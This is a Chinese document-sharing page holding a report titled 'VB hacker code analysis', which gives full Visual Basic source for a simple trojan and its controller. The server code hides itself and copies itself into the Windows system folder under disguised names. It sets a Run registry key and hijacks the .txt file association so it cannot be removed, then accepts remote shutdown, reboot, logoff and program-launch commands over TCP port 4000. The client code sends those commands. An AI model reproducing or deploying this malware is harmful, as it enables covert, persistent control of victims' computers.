VB黑客代码分析.docx
- 文档编号:8496637
- 上传时间:2023-01-31
- 格式:DOCX
- 页数:6
- 大小:124.92KB
VB黑客代码分析.docx
《VB黑客代码分析.docx》由会员分享,可在线阅读,更多相关《VB黑客代码分析.docx(6页珍藏版)》请在冰豆网上搜索。
VB黑客代码分析
本次试验的软件设计部分,分为客户端和服务端两个部分的设计,设计过程中的详细代码以及分析过程如下:
服务端的代码设计:
首先,新建一工程,名为Server,新建一个窗体,Name为frmServer,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。
接下来我们回来frmServer窗体模块中,添加如下代码:
PrivateSubFORM_Load()
WithMe
.sckServer.LocalPort=4000‘端口号
.sckServer.Listen‘开始监听
Me.Hide‘在背后运行
DimsCurrentPathAsString,sSystemDirAsString
sCurrentPath=App.Path&"\"&App.EXEName&".exe"
sSystemDir=“C:
\windows\system”
OnErrorResumeNext
FileCopysCurrentPath,sSystemDir&"\Systrsy.exe"‘复制文件成系统目录下的Systrsy.exe
OnErrorResumeNext
FileCopysCurrentPath,sSystemDir&"\txtView.exe"‘复制文件成系统目录下的txtView.exe
CallstartupGroup‘调用注册表启动函数
CallWriteToTxt‘调用写入注册表函数
IfApp.PrevInstanceThen‘判断程序是否下在运行
End‘如果已经运行就退出
EndIf
EndWith
EndSub
PrivateSubsckServer_ConnectionRequest(ByValrequestIDAsLong)‘接受客户端的连接请求
WithMe
If.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.Accept(requestID)‘打开端口侦听端口的状态
EndWith
EndSub
在frmServer中添加sckServer的DataArrial事件,接收客户端的请求,并完成各种操作。
PrivateSubsckServer_DataArrival(ByValbytesTotalAsLong)
DimstrDataAsString
WithMe
.sckServer.GetDatastrData‘获取数据信息
SelectCasestrData‘根据具体的信息执行对应的操作
Case"Exit"
Shell"shutdown-s-t0"‘实现关机
Case"Reboot"
Shell"shutdown-r-t0"‘实现重启
Case"Logoff"‘实现注销
shell"shutdown-l-t0"'
Case"Yunxing"‘实现运行
Shell"C:
\WINDOWS\system32\notepad.exe"‘打开记事本
Shell"C:
\WINDOWS\system32\calc.exe"‘打开计算器
Case"Guanbi"‘实现关闭
Shell"taskkill/imnotepad.exe"‘关闭记事本
Shell"taskkill/imcalc.exe"‘关闭计算器
EndSelect
EndWith
EndSub
把服务端加入到注册表的启动组中,让它一开机就自动运行
回到Server工程中的modApi中加入如下API函数:
PublicDeclareFunctionRegOpenKeyLib"advapi32.dll"Alias"RegOpenKeyA"(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicDeclareFunctionRegSetvalueExLib"advapi32.dll"Alias"RegSetvalueExA"(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong
PublicDeclareFunctionRegCreateKeyLib"advapi32.dll"Alias"RegCreateKeyA"(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicConstREG_BINARY=3
PublicConstREG_SZ=1
PublicConstHKEY_LOCAL_MACHINE=&H80000002
PublicConstHKEY_CLASSES_ROOT=&H80000000
写到注册表启动组中的过程。
PublicSubStartupGroup()
DimsKeyAsString
DimresultAsLong
DimhKeyIDAsLong
DimsKeyValAsString
sKey="Systrsy"'启动组中的键,找一个与系统文件相近的。
sKeyVal="C:
\windows\system\systrsy.exe"'木马文件的路径,可以用GetSystemDirectory来取得系统路径。
result=RegOpenKey(HKEY_LOCAL_MACHINE,_
"Software\Microsoft\Windows\CurrentVersion\Run",hKeyID)
Ifresult=0Then
result=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,_
Len(sKey)+1)
EndIf
EndSub
为了防止我们写入注册表被删,我们增加以下代码段,就删不掉了。
PublicSubWriteToTxt()
DimresultAsLong
DimhKeyIDAsLong
DimskeyAsString
DimskeyValAsString
skey="txtfile\shell\open\command"
skeyVal="C:
\windows\system\txtView.exe"
result=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)
Ifresult=0Then
result=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,_
skeyVal,Len(skeyVal)+1)
EndIf
EndSub
肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:
\windows\system\txtView.exe是哪里来的,我们的木马是C:
\windows\system\systrsy.exe呀。
这可是我们木马的分身了。
客户端设计部分的详细代码如下:
新建一个工程,名为Client,把窗体名为frmClient,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。
添加一个文本框,用于输入欲控制的对方的IP地址,再加一个连接按钮cmdConnect,用来实现连接,加入代码:
PrivateSubcmdConnect_Click()
sckClient.ConnectText1.Text,4000‘IP地址和端口号
txtOutput.Text="你已成功的连接到服务器"‘提示连接成功
EndSub
在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。
因此,我们下面在Client工程的frmClient窗体中放入五个个按钮,分别为cmdExit,cmdLogoff,cmdReboot,Guanbi_Click,Yunxing_Clik。
它们用于对远程的关机,注销,重启,关闭,打开操作。
分别添加如下代码:
PrivateSubcmdExit_Click()
Me.sckClient.SendData"Exit"‘发送关机的信息
EndSub
PrivateSubcmdLogoff_Click()‘发送注销的信息
Me.sckClient.SendData"Logoff"
EndSub
PrivateSubcmdReboot_Click()‘发送重启的信息
Me.sckClient.SendData"Reboot"
EndSub
PrivateSubGuanbi_Click()‘发送关闭应用程序的信息
Me.sckClient.SendData"Guanbi"
EndSub
PrivateSubYunxing_Click()‘发送打开应用程序的信息
Me.sckClient.SendData"Yunxing"
EndSub
数据测试分析:
运行了服务端之后,再运行客户端,同时在输入对应的IP地址169.254.168.210,点击连接,此时会有信息提示连接成功。
如下图所示:
点击运行程序时,同时打开了记事本和计算器:
点击关闭时,记事本和计算器同时被关闭了:
经过测试我们设计的程序达到了我们预期的效果,实现了关机、注销、重启、打开和关闭应用程序的功能。
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- VB 黑客 代码 分析